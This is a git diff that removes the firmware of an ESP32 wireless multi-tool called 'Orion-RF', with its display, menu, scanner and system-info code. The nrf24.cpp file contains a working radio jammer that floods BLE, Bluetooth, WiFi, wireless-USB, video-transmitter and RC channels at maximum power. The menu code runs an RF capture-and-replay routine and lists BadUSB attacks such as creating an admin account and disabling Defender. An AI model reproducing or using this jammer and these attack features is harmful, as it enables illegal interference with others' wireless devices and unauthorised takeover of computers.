-    u8g2.setFont(u8g2_font_6x10_tr);
-    u8g2.drawStr(0, 20, "Press any button...");
-    u8g2.sendBuffer();
-
-    unsigned long start = millis();
-
-    while (millis() - start < 2000)
-    {
-        if (!digitalRead(BTN_UP) ||
-            !digitalRead(BTN_DOWN) ||
-            !digitalRead(BTN_SELECT) ||
-            !digitalRead(BTN_BACK) ||
-            !digitalRead(BTN_RIGHT) ||
-            !digitalRead(BTN_LEFT))
-        {
-            return true;
-        }
-    }
-
-    return false;
-}
-
-// ===== DRAW =====
-#define MAX_ITEMS 6
-#define VISIBLE_ROWS 5
-
-const char* labels[MAX_ITEMS] = {
-    "NRF1",
-    "NRF2",
-    "CC1101-1",
-    "CC1101-2",
-    "BUTTONS",
-    "OLED"
-};
-
-bool values[MAX_ITEMS];
-
-int selectedIndex = 0;
-int offset = 0;
-
-void drawStatus(DeviceStatus &s)
-{
-    values[0] = s.nrf1;
-    values[1] = s.nrf2;
-    values[2] = s.cc1101_1;
-    values[3] = s.cc1101_2;
-    values[4] = s.buttons;
-    values[5] = s.oled;
-
-
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
-
-    // scrolling logic
-    if (selectedIndex < offset)
-        offset = selectedIndex;
-
-    if (selectedIndex >= offset + VISIBLE_ROWS)
-        offset = selectedIndex - VISIBLE_ROWS + 1;
-
-    for (int i = 0; i < VISIBLE_ROWS; i++)
-    {
-        int item = offset + i;
-        if (item >= MAX_ITEMS) break;
-
-        int y = 12 + i * 10;
-
-        if (item == selectedIndex)
-        {
-            u8g2.drawBox(0, y - 9, 128, 10);
-            u8g2.setDrawColor(0);
-        }
-
-        u8g2.drawStr(2, y, labels[item]);
-
-        if (values[item])
-            u8g2.drawStr(80, y, "OK");
-        else
-            u8g2.drawStr(80, y, "FAIL");
-
-        if (item == selectedIndex)
-            u8g2.setDrawColor(1);
-    }
-
-    u8g2.sendBuffer();
-}
-
-// ===== MAIN =====
-void device_check_run()
-{
-    DeviceStatus status;
-
-    Serial.println("Running device diagnostics...");
-
-    // NRF
-    status.nrf1 = checkNRF(radio1);
-    status.nrf2 = checkNRF(radio2);
-
-    // CC1101
-    status.cc1101_1 = checkCC1101(CC1101_CS);
-    status.cc1101_2 = checkCC1101(CC1101_2_CS);
-
-    // Buttons
-    status.buttons = checkButtons();
-
-    drawStatus(status);
-
-    Serial.println("Diagnostics complete");
-
-    while (1)
-{
-    drawStatus(status);
-
-    if (btnUp())
-    {
-        selectedIndex--;
-        if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
-        delay(150);
-    }
-
-    if (btnDown())
-    {
-        selectedIndex++;
-        if (selectedIndex >= MAX_ITEMS) selectedIndex = 0;
-        delay(150);
-    }
-
-    if (btnBack())
-    {
-        delay(150);
-        break;
-    }
-}}
-
-
-
diff --git a/firmware/device_check.h b/firmware/device_check.h
deleted file mode 100644
index 3d6b250..0000000
--- a/firmware/device_check.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void device_check_run();
diff --git a/firmware/display.cpp b/firmware/display.cpp
deleted file mode 100644
index 12c9ac9..0000000
--- a/firmware/display.cpp
+++ /dev/null
@@ -1,16 +0,0 @@
-#include "display.h"
-#include <Wire.h>
-#include "config.h"
-
-
-U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(
-    U8G2_R0,
-    U8X8_PIN_NONE
-);
-
-void displayInit()
-{
-    Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
-    u8g2.begin();
-    u8g2.setFont(u8g2_font_6x12_tr);
-}
diff --git a/firmware/display.h b/firmware/display.h
deleted file mode 100644
index 0b48b75..0000000
--- a/firmware/display.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#pragma once
-
-#include <U8g2lib.h>
-
-extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
-
-void displayInit();
diff --git a/firmware/firmware.ino b/firmware/firmware.ino
deleted file mode 100644
index 83ba1f8..0000000
--- a/firmware/firmware.ino
+++ /dev/null
@@ -1,128 +0,0 @@
-#include <Arduino.h>
-#include <USB.h>
-#include <USBHIDKeyboard.h>
-
-#include <BLEDevice.h>
-#include <BLEScan.h>
-#include <BleMouse.h>
-
-#include <RF24.h>
-#include <nRF24L01.h>
-
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-
-#include <WiFi.h>
-#include <esp_wifi.h>
-
-#include <esp_chip_info.h>
-#include <esp_heap_caps.h>
-#include <esp_system.h>
-#include <SPI.h>
-
-
-#include "display.h"
-#include "buttons.h"
-#include "menu.h"
-
-#include "config.h"
-#include "cc1101.h"
-
-// ================= USB HID =================
-USBHIDKeyboard Keyboard;
-
-// ===== BLE MOUSE =====
-BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
-
-
-RF24 radio1(CE1_PIN, CSN1_PIN);
-RF24 radio2(CE2_PIN, CSN2_PIN);
-SPIClass *RADIO_SPI;
-
-
-void deactivateNRF1() {
-  digitalWrite(CSN1_PIN, HIGH);
-  digitalWrite(CE1_PIN, LOW);
-}
-
-void deactivateNRF2() {
-  digitalWrite(CSN2_PIN, HIGH);
-  digitalWrite(CE2_PIN, LOW);
-}
-
-
-// ================= SYSTEM INFO =================
-void printSystemUsage()
-{
-    esp_chip_info_t chip_info;
-
-    esp_chip_info(&chip_info);
-
-    Serial.printf("CPU cores: %d\n", chip_info.cores);
-
-    Serial.printf(
-        "Free heap: %d bytes\n",
-        heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
-    );
-
-    Serial.printf(
-        "PSRAM free: %d bytes\n",
-        heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
-    );
-}
-
-void showSplash()
-{
-    u8g2.clearBuffer();
-
-    u8g2.setFont(u8g2_font_logisoso20_tr); // big font
-    u8g2.drawStr(10, 40, "Orion-RF");
-
-    u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
-    u8g2.drawStr(25, 58, "Initializing...");
-
-    u8g2.sendBuffer();
-
-    delay(1500); // 1.5 sec
-}
-
-
-// ================= SETUP =================
-void setup()
-{
-    Serial.begin(115200);
-
-    displayInit();
-    showSplash();
-
-    buttonsInit();
-    menuInit();
-
-    delay(1500);
-
-    USB.begin();
-    Keyboard.begin();
-
-
-
-    // NRF SPI safety
-    //pinMode(CSN1_PIN, OUTPUT);
-    //digitalWrite(CSN1_PIN, HIGH);
-
-    //pinMode(CSN2_PIN, OUTPUT);
-    //digitalWrite(CSN2_PIN, HIGH);
-    deactivateNRF1();
-    deactivateNRF2();
-
-    RADIO_SPI = new SPIClass(FSPI);
-    RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
-
-    printSystemUsage();
-
-    Serial.println("SYSTEM READY");
-}
-
-// ================= LOOP =================
-void loop()
-{
-   menuLoop();
-}
diff --git a/firmware/menu.cpp b/firmware/menu.cpp
deleted file mode 100644
index 9880b89..0000000
--- a/firmware/menu.cpp
+++ /dev/null
@@ -1,402 +0,0 @@
-#include <Arduino.h>
-#include "menu.h"
-#include "display.h"
-#include "buttons.h"
-#include "badusb.h"
-#include "nrf24.h"
-#include "cc1101.h"
-#include "blescanner.h"
-#include "wifi_scan.h"
-#include "wifi_analyzer.h"
-#include "device_check.h"
-#include "ble_mouse.h"
-#include "sysinfo.h"
-#include "BleMouse.h"
-#include "nfc.h"
-
-// ================= MENU DATA =================
-extern BleMouse bleMouse;
-
-// Root menu
-const char *mainMenuItems[] = {
-    "BadUSB",
-    "RF Capture",
-    "NRF Tools",
-    "BLE Scan",
-    "Wifi Scan",
-    "Wifi Analyzer",
-    "System Info",
-    "Device Check",
-    "Restart",
-    "Ble Mouse",
-    "NFC Tools"
-};
-
-Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
-
-
-// NRF Tools menu
-const char *nrfToolsItems[] = {
-    "BLE Jammer",
-    "Bluetooth Jammer",
-    "Wifi Jammer",
-    "USB Wireless",
-    "Video TX",
-    "Zigbee",
-    "RC"
-
-};
-
-Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
-
-
-// BadUSB submenu
-const char *badusbItems[] = {"DEMO",
-                             "KEYBOARD",
-                             "HID SCRIPT",
-                             "Open Notepad",
-                             "Open CMD",
-                             "Show IP",
-                             "Shutdown",
-                             "RickRoll",
-                             "Create Admin",
-                             "Disable Defender",
-                             "Open YouTube",
-                             "Lock PC",
-                             "Fake Update",
-                             "Endless Notepad",
-                             "Fake BSOD",
-                             "Flip Screen",
-                             "Matrix Effect",
-                             "I'm Watching U",
-                             "Open Google",
-                             "Open telegram",
-                             "Play Alarm Sound",
-                             "Endless CMD",
-                             "Type Gibberish",
-                             "Spam CAPSLOCK",
-                             "Open Calc",
-                             "Auto 'Hacked!'",
-                             "Turn Off Monitor",
-                             "Open RegEdit",
-                             "Kill Explorer",
-                             "Flash Screen",
-                             "Rename Desktop",
-                             "Toggle WiFi",
-                             "Auto Screenshot",
-                             "Spam Emojis",
-                             "Open Ctrl Panel",
-                             "Troll Wallpaper",
-                             "Open MS Paint",
-                             "Tab Switcher"};
-
-
-Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
-
-// ================= MENU STATE =================
-
-Menu *currentMenu = &mainMenu;
-
-int menuIndex = 0;
-int menuOffset = 0;
-
-#define MENU_VISIBLE_ROWS 4
-
-bool insideFeature = false;
-
-// ================= DRAW =================
-
-void drawMenu()
-{
-    u8g2.clearBuffer();
-
-    // scroll handling
-    if (menuIndex < menuOffset)
-        menuOffset = menuIndex;
-
-    if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
-        menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
-
-    for (int i = 0; i < MENU_VISIBLE_ROWS; i++)
-    {
-        int item = menuOffset + i;
-
-        if (item >= currentMenu->size)
-            break;
-
-        if (item == menuIndex)
-            u8g2.drawStr(0, 14 + i * 14, ">");
-
-        u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
-    }
-
-    // scroll indicators
-    if (menuOffset > 0)
-        u8g2.drawStr(118, 10, "^");
-
-    if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
-        u8g2.drawStr(118, 62, "v");
-
-    u8g2.sendBuffer();
-}
-
-// ================= FEATURE EXECUTION =================
-
-void launchFeature()
-{
-    insideFeature = true;
-
-    if (currentMenu == &mainMenu)
-    {
-        switch (menuIndex)
-        {
-            case 0: // BadUSB → enter submenu
-                currentMenu = &badusbMenu;
-                menuIndex = 0;
-                menuOffset = 0;
-                break;
-
-            case 1:
-            if (!isCC1101Ready()) {
-                if (!initCC1101()) {
-                    Serial.println("CC1101 failed");
-                    return;
-                }
-            }
-
-            Serial.println("Ready to capture...");
-
-            startCapture();
-            delay(5000);
-            stopCapture();
-            printCapture();
-            delay(5000);
-            replaySignal();
-            break;
-
-            case 2:
-                // startNRFJammer();
-                //startBleJammer();
-                //startBluetoothJammer();
-                currentMenu = &nrfToolsMenu;
-                menuIndex = 0;
-                menuOffset = 0;
-                break;
-
-                break;
-            case 3:
-                ble_scan();
-                ble_drawMenu();
-                while (1) {
-                    ble_loop();
-                    if (btnBack())
-                        break;
-                }
-                break;
-
-            case 4:
-            {
-            // Start scan once
-            wifi_scan_start();
-            wifi_scan_draw();
-
-            while (1) {
-                wifi_scan_loop();
-                // EXIT condition handled ONLY here
-                if (btnBack()) {
-                    delay(150); // debounce
-                    break;
-                }
-            }
-            break;
-            }
-            case 5:
-                {
-
-                wifi_analyzer_start();
-
-                bool prevBack = false;
-                while (1)
-                {
-                    wifi_analyzer_loop();
-                    bool nowBack = btnBack();
-                    if (nowBack && !prevBack)
-                    {
-                        delay(150);
-                        break;
-                    }
-                    prevBack = nowBack;
-                }
-                break;
-                }
-
-            case 6:
-                runSystemInfoFeature();
-                break;
-            case 7:
-                device_check_run();
-                break;
-           case 8:
-            {
-                  // wait for button release
-                 delay(200);
-
-                while (btnSelect())
-                    delay(10);
-                bool confirm = false;
-
-                while (1)
-                {
-                    u8g2.clearBuffer();
-                    u8g2.setFont(u8g2_font_6x13_tr);
-
-                    u8g2.drawStr(18, 18, "Restart Device?");
-
-                    if (confirm)
-                    {
-                        u8g2.drawBox(10, 35, 45, 15);
-                        u8g2.setDrawColor(0);
-                        u8g2.drawStr(20, 47, "YES");
-                        u8g2.setDrawColor(1);
-
-                        u8g2.drawStr(75, 47, "NO");
-                    }
-                    else
-                    {
-                        u8g2.drawStr(20, 47, "YES");
-
-                        u8g2.drawBox(65, 35, 45, 15);
-                        u8g2.setDrawColor(0);
-                        u8g2.drawStr(78, 47, "NO");
-                        u8g2.setDrawColor(1);
-                    }
-
-                    u8g2.sendBuffer();
-
-                    if (btnLeft() || btnUp())
-                    {
-                        confirm = true;
-                        delay(150);
-                    }
-
-                    if (btnRight() || btnDown())
-                    {
-                        confirm = false;
-                        delay(150);
-                    }
-
-                    if (btnSelect())
-                    {
-                        delay(150);
-
-                        if (confirm)
-                        {
-                            u8g2.clearBuffer();
-                            u8g2.drawStr(28, 30, "Restarting...");
-                            u8g2.sendBuffer();
-
-                            delay(1000);
-                            ESP.restart();
-                        }
-                        else
-                        {
-                            break;
-                        }
-                    }
-
-                    if (btnBack())
-                    {
-                        delay(150);
-                        break;
-                    }
-                }
-            }
-        break;
-
-        case 9:
-                  // Begin Ble mouse
-                  bleMouse.begin();
-                  ble_mouse_run();
-                    break;
-        case 10:
-                    pn532_scan_loop();
-                    break;
-        }
-    }
-    else if (currentMenu == &badusbMenu)
-    {
-        badUSBMenu(menuIndex);
-    } else if (currentMenu == &nrfToolsMenu) {
-        NRFToolsMenu(menuIndex);
-    }
-
-    insideFeature = false;
-
-    drawMenu();
-}
-
-// ================= INIT =================
-
-void menuInit()
-{
-    currentMenu = &mainMenu;
-    menuIndex = 0;
-    menuOffset = 0;
-
-    drawMenu();
-}
-
-// ================= LOOP =================
-
-void menuLoop()
-{
-    static uint32_t lastPress = 0;
-
-    if (insideFeature)
-        return;
-
-    if (millis() - lastPress < 150)
-        return;
-
-    if (btnUp())
-    {
-        menuIndex--;
-
-        if (menuIndex < 0)
-            menuIndex = currentMenu->size - 1;
-
-        drawMenu();
-        lastPress = millis();
-    }
-
-    else if (btnDown())
-    {
-        menuIndex++;
-
-        if (menuIndex >= currentMenu->size)
-            menuIndex = 0;
-
-        drawMenu();
-        lastPress = millis();
-    }
-
-    else if (btnSelect())
-    {
-        launchFeature();
-        lastPress = millis();
-    }
-
-    else if (btnBack())
-    {
-        if (currentMenu != &mainMenu)
-        {
-            currentMenu = &mainMenu;
-            menuIndex = 0;
-            menuOffset = 0;
-
-            drawMenu();
-        }
-
-        lastPress = millis();
-    }
-}
diff --git a/firmware/menu.h b/firmware/menu.h
deleted file mode 100644
index c51cd24..0000000
--- a/firmware/menu.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-
-struct Menu
-{
-    const char **items;
-    int size;
-};
-
-void menuInit();
-void menuLoop();
diff --git a/firmware/nrf24.cpp b/firmware/nrf24.cpp
deleted file mode 100644
index 7d12051..0000000
--- a/firmware/nrf24.cpp
+++ /dev/null
@@ -1,249 +0,0 @@
-#include <Arduino.h>
-#include <RF24.h>
-#include "buttons.h"
-#include "nrf24.h"
-#include "display.h"
-#define JAM_DURATION 500
-
-extern SPIClass *RADIO_SPI;
-extern RF24 radio1;
-extern RF24 radio2;
-
-// ============ CHANNELS =============
-const byte bleChannels[] = {2, 26, 80};
-const byte bluetoothChannels[] = {
-    32, 34, 46, 48, 50, 52,
-    0, 1, 2, 4, 6, 8,
-    22, 24, 26, 28, 30,
-    74, 76, 78, 80
-};
-const byte wifiChannels[] = {
-    12, 17, 22, 27, 32,
-    37, 42, 47, 52, 57,
-    62, 67, 72
-};
-const byte usbWireless_channels[] =      {40, 50, 60};
-const byte videoTransmitter_channels[] = {70, 75, 80};
-const byte zigbee_channels[]    =        {11, 15, 20, 25};
-const byte rc_channels[]        =        {1, 3, 5, 7};
-
-void initNRF(RF24 &radio)
-{
-    if (!radio.begin(RADIO_SPI)) {
-        Serial.println("NRF not found");
-        return;
-    }
-
-    radio.setAutoAck(false);
-    radio.stopListening();
-    radio.setRetries(0, 0);
-    radio.setPALevel(RF24_PA_MAX, true);
-    radio.setDataRate(RF24_2MBPS);
-    radio.openWritingPipe(0xE7E7E7E7E7LL);
-    radio.setCRCLength(RF24_CRC_DISABLED);
-    Serial.println("NRF Initialized");
-
-}
-
-
-
-//void startBleJammer() {
-//    initNRF(radio1);
-//    initNRF(radio2);
-//
-//    Serial.println("NRF JAMMER STARTED");
-//
-//    const char payload[] = "xxxxxxxxxxxxxxxx";
-//
-//    u8g2.clearBuffer();
-//    u8g2.drawStr(0, 10, "Jamming:");
-//    u8g2.setCursor(60, 10);
-//    u8g2.print("Bluetooth");
-//    u8g2.sendBuffer();
-//
-//    while(true) {
-//
-//    // Channels (you can change this set)
-//    const byte channels[] = {2, 26, 80};
-//
-//
-//    for (int i = 0; i < sizeof(channels); i++) {
-//        radio1.setChannel(channels[i]);
-//        radio1.write(&payload, sizeof(payload));
-//        //radio2.setChannel(channels[i]);
-//        //radio2.write(&payload, sizeof(payload));
-//    }
-//
-//     if (btnBack())
-//    {
-//        Serial.println("Jammer stopped");
-//        return;
-//    }
-//    }
-//
-//}
-//
-//void startBluetoothJammer()
-//{
-//    initNRF(radio1);
-//    initNRF(radio2);
-//
-//    Serial.println("NRF JAMMER STARTED");
-//
-//    const char payload[] = "xxxxxxxxxxxxxxxx";
-//
-//    u8g2.clearBuffer();
-//    u8g2.drawStr(0, 10, "Jamming:");
-//    u8g2.setCursor(60, 10);
-//    u8g2.print("Bluetooth");
-//    u8g2.sendBuffer();
-//
-//    while(true) {
-//
-//    // Channels (you can change this set)
-//    const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
-//
-//
-//    for (int i = 0; i < sizeof(channels); i++) {
-//        radio1.setChannel(channels[i]);
-//        radio1.write(&payload, sizeof(payload));
-//        //radio2.setChannel(channels[i]);
-//        //radio2.write(&payload, sizeof(payload));
-//    }
-//
-//     if (btnBack())
-//    {
-//        Serial.println("Jammer stopped");
-//        return;
-//    }
-//    }
-//}
-
-void startJammer(const char* name, const byte* channels, size_t channelCount)
-{
-    initNRF(radio1);
-    initNRF(radio2);
-
-    Serial.println("NRF JAMMER STARTED");
-
-    const char payload[] = "xxxxxxxxxxxxxxxx";
-
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_6x10_tr);
-    u8g2.drawStr(0, 15, "NRF24 Jammer");
-    u8g2.drawStr(0, 35, name);
-    u8g2.drawStr(0, 55, "BACK = Exit");
-    u8g2.sendBuffer();
-
-   while (true)
-   {
-       for (size_t i = 0; i < channelCount; i++)
-       {
-           //radio1.setChannel(channels[i]);
-           //radio1.write(&payload, sizeof(payload));
-
-           // Optional second NRF
-           // radio2.setChannel(channels[i]);
-           // radio2.write(&payload, sizeof(payload));
-
-
-           radio1.setChannel(channels[i]);
-           radio2.setChannel(channels[(i + 1) % channelCount]);
-
-           radio1.writeFast(&payload, sizeof(payload));
-           radio2.writeFast(&payload, sizeof(payload));
-       }
-
-       if (btnBack())
-       {
-           Serial.println("Jammer stopped");
-           radio1.powerDown();
-           radio2.powerDown();
-           return;
-       }
-   }
-
-    //while (true) {
-    //for (size_t i = 0; i < channelCount; i++)
-    //{
-    //    radio1.setChannel(channels[i]);
-    //    radio2.setChannel(channels[(i + 1) % channelCount]);
-
-    //    radio1.writeFast(&payload, sizeof(payload));
-    //    radio2.writeFast(&payload, sizeof(payload));
-
-    //    radio1.txStandBy(1);
-    //    radio2.txStandBy(1);
-
-    //    delayMicroseconds(200);
-    //}
-
-
-    //if (btnBack())
-    //{
-    //    Serial.println("Jammer stopped");
-
-    //    radio1.powerDown();
-    //    radio2.powerDown();
-
-    //    return;
-    //}
-//}
-}
-
-void NRFToolsMenu(int index) {
-    switch (index) {
-        case 0:
-            // startBleJammer();
-            // BLE
-            startJammer(
-                "BLE",
-                bleChannels,
-                sizeof(bleChannels) / sizeof(bleChannels[0])
-            );
-
-            break;
-        case 1:
-            // startBluetoothJammer();
-            // Bluetooth
-            startJammer(
-                "Bluetooth",
-                bluetoothChannels,
-                sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
-            );
-            break;
-
-        case 2:
-            startJammer(
-                "WiFi",
-                wifiChannels,
-                sizeof(wifiChannels) / sizeof(wifiChannels[0])
-            );
-            break;
-        case 3:
-            startJammer(
-                "USB Wireless",
-                usbWireless_channels,
-                sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
-            );
-            break;
-        case 4:
-            startJammer(
-                "Video TX",
-                videoTransmitter_channels,
-                sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
-            );
-            break;
-        case 5:
-            break;
-            startJammer(
-                "RC",
-                rc_channels,
-                sizeof(rc_channels) / sizeof(rc_channels[0])
-            );
-            break;
-        case 6:
-
-            break;
-}
-    }
diff --git a/firmware/nrf24.h b/firmware/nrf24.h
deleted file mode 100644
index 308bbc4..0000000
--- a/firmware/nrf24.h
+++ /dev/null
@@ -1,13 +0,0 @@
-#pragma once
-
-#include <RF24.h>
-
-// Initialization
-void initNRF(RF24 &radio);
-
-void startBluetoothJammer();
-void startBleJammer();
-
-void startJammer(const char* name, const byte* channels, size_t channelCount);
-
-void NRFToolsMenu(int index);
diff --git a/firmware/sysinfo.cpp b/firmware/sysinfo.cpp
deleted file mode 100644
index afd13aa..0000000
--- a/firmware/sysinfo.cpp
+++ /dev/null
@@ -1,87 +0,0 @@
-#include <Arduino.h>
-#include "display.h"
-#include "buttons.h"
-#include <esp_chip_info.h>
-#include <esp_heap_caps.h>
-
-void runSystemInfoFeature()
-{
-    esp_chip_info_t chip_info;
-
-    esp_chip_info(&chip_info);
-
-    while (true)
-    {
-        //u8g2.clearBuffer();
-
-        //char buf[32];
-
-        //sprintf(buf, "Cores: %d", chip_info.cores);
-        //u8g2.drawStr(0, 14, buf);
-
-        //sprintf(buf, "Heap: %d",
-        //        heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
-        //u8g2.drawStr(0, 28, buf);
-
-
-        //u8g2.drawStr(0, 60, "BACK to exit");
-
-          // Get RAM info
-          size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
-          size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
-          int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
-
-          // Get Flash info
-         //uint32_t flashSize = spi_flash_get_chip_size();
-          uint32_t flashSize = ESP.getFlashChipSize();
-          uint32_t flashUsed = ESP.getSketchSize();
-          int flashUsage = (flashUsed * 100) / flashSize;
-
-          // Temperature (approx)
-          uint8_t temperature = temperatureRead();
-
-          // Chip info
-          esp_chip_info_t chip_info;
-          esp_chip_info(&chip_info);
-
-          u8g2.clearBuffer();
-          u8g2.setFont(u8g2_font_6x12_tr);
-
-         char buf[32];
-
-        // Box 1 - RAM
-        u8g2.drawFrame(0, 0, 128, 12);
-        sprintf(buf, "RAM: %d%% used", ramUsage);
-        u8g2.drawStr(4, 9, buf);
-
-        // Box 2 - Flash
-        u8g2.drawFrame(0, 12, 128, 12);
-        sprintf(buf, "Flash: %d%% used", flashUsage);
-        u8g2.drawStr(4, 21, buf);
-
-        // Box 3 - Temp (FULL WIDTH now)
-        u8g2.drawFrame(0, 24, 128, 12);
-        sprintf(buf, "Temp: %d C", temperature);
-        u8g2.drawStr(4, 33, buf);
-
-        // Box 4 - Chip info (FULL WIDTH)
-        u8g2.drawFrame(0, 36, 128, 12);
-        sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
-        u8g2.drawStr(4, 45, buf);
-
-        // Box 5 - PSRAM (KB)
-        u8g2.drawFrame(0, 48, 128, 12);
-        sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
-        u8g2.drawStr(4, 57, buf);
-
-        u8g2.sendBuffer();
-
-        if (btnBack())
-        {
-            delay(200);
-            return;
-        }
-
-        delay(100);
-    }
-}
diff --git a/firmware/sysinfo.h b/firmware/sysinfo.h
deleted file mode 100644
index 8a4f176..0000000
--- a/firmware/sysinfo.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void runSystemInfoFeature();
diff --git a/firmware/wifi_analyzer.cpp b/firmware/wifi_analyzer.cpp
deleted file mode 100644
index 0264088..0000000
--- a/firmware/wifi_analyzer.cpp
+++ /dev/null
@@ -1,147 +0,0 @@
-#include <Arduino.h>
-#include <WiFi.h>
-#include <esp_wifi.h>
-
-#include "display.h"
-#include "buttons.h"
-
-// ===== CONFIG =====
-#define GRAPH_WIDTH     128
-#define GRAPH_HEIGHT    44
-#define GRAPH_TOP       10
-#define MAX_POINTS      128
-#define SPIKE_THRESHOLD 30
-
-// ===== STATE =====
-struct SnifferGraph {
-    uint8_t graphData[MAX_POINTS];
-    uint8_t currentChannel = 1;
-    volatile uint16_t packetCounter = 0;
-    unsigned long lastChannelSwitch = 0;
-    unsigned long lastUpdate = 0;
-};
-
-static SnifferGraph sniffer;
-
-// ===== CALLBACK =====
-void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type)
-{
-    if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
-    {
-        sniffer.packetCounter++;
-    }
-}
-
-// ===== INIT =====
-void wifi_analyzer_start()
-{
-    // display init (safe to call again)
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_5x8_tr);
-    u8g2.drawStr(0, 10, "Starting analyzer...");
-    u8g2.sendBuffer();
-
-    // reset graph
-    memset(sniffer.graphData, 0, sizeof(sniffer.graphData));
-    sniffer.packetCounter = 0;
-    sniffer.currentChannel = 1;
-
-    // reset WiFi
-    WiFi.disconnect(true, true);
-    esp_wifi_stop();
-    delay(200);
-    esp_wifi_deinit();
-
-    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
-    esp_wifi_init(&cfg);
-    esp_wifi_set_storage(WIFI_STORAGE_RAM);
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_start();
-
-    esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
-    esp_wifi_set_promiscuous_rx_cb(snifferCallback);
-    esp_wifi_set_promiscuous(true);
-}
-
-// ===== HELPERS =====
-static void switchChannel()
-{
-    sniffer.currentChannel++;
-    if (sniffer.currentChannel > 13) sniffer.currentChannel = 1;
-
-    esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
-}
-
-static void updateGraph(uint8_t value)
-{
-    for (int i = 0; i < MAX_POINTS - 1; i++)
-    {
-        sniffer.graphData[i] = sniffer.graphData[i + 1];
-    }
-
-    sniffer.graphData[MAX_POINTS - 1] = value;
-}
-
-static void drawGraph(uint16_t pktCount)
-{
-    u8g2.clearBuffer();
-    u8g2.setFont(u8g2_font_5x8_tr);
-
-    char line1[16];
-    char line2[16];
-
-    sprintf(line1, "Ch:%d", sniffer.currentChannel);
-    sprintf(line2, "Pkts:%d", pktCount * 5);
-
-    u8g2.drawStr(0, 8, line1);
-    u8g2.drawStr(60, 8, line2);
-
-    for (int x = 1; x < GRAPH_WIDTH; x++)
-    {
-        int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
-        int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
-
-        u8g2.drawLine(x - 1, y1, x, y2);
-    }
-
-    if (pktCount >= SPIKE_THRESHOLD)
-    {
-        u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
-    }
-
-    u8g2.sendBuffer();
-}
-
-// ===== LOOP =====
-void wifi_analyzer_loop()
-{
-    static uint32_t lastPress = 0;
-    unsigned long now = millis();
-
-    // channel hopping
-    if (now - sniffer.lastChannelSwitch >= 1000)
-    {
-        sniffer.lastChannelSwitch = now;
-        switchChannel();
-    }
-
-    // graph update
-    if (now - sniffer.lastUpdate >= 200)
-    {
-        sniffer.lastUpdate = now;
-
-        uint16_t pktCount = sniffer.packetCounter;
-
-        uint8_t scaled = pktCount * 2;
-        uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT);
-
-        updateGraph(value);
-        drawGraph(pktCount);
-
-        sniffer.packetCounter = 0;
-    }
-
-    // optional: small debounce to not hammer CPU
-    if (millis() - lastPress < 10)
-        return;
-}
diff --git a/firmware/wifi_analyzer.h b/firmware/wifi_analyzer.h
deleted file mode 100644
index df68284..0000000
--- a/firmware/wifi_analyzer.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#pragma once
-
-void wifi_analyzer_start();
-void wifi_analyzer_loop();
diff --git a/firmware/wifi_scan.cpp b/firmware/wifi_scan.cpp
deleted file mode 100644
index d4657bb..0000000
--- a/firmware/wifi_scan.cpp
+++ /dev/null
@@ -1,152 +0,0 @@
-#include <Arduino.h>
-#include <WiFi.h>
-#include "display.h"
-#include "buttons.h"
-
-#define MAX_NETWORKS 30
-
-struct WiFiNet {
-    String ssid;
-    int rssi;
-    int channel;
-    bool encrypted;
-};
-
-static WiFiNet networks[MAX_NETWORKS];
-static int networkCount = 0;
-static int selectedIndex = 0;
-
-// ===== SCAN =====
-void wifi_scan_start()
-{
-    u8g2.clearBuffer();
-    u8g2.drawStr(10, 30, "Scanning WiFi...");
-    u8g2.sendBuffer();
-
-    WiFi.mode(WIFI_STA);
-    WiFi.disconnect();
-
-    delay(100);
-
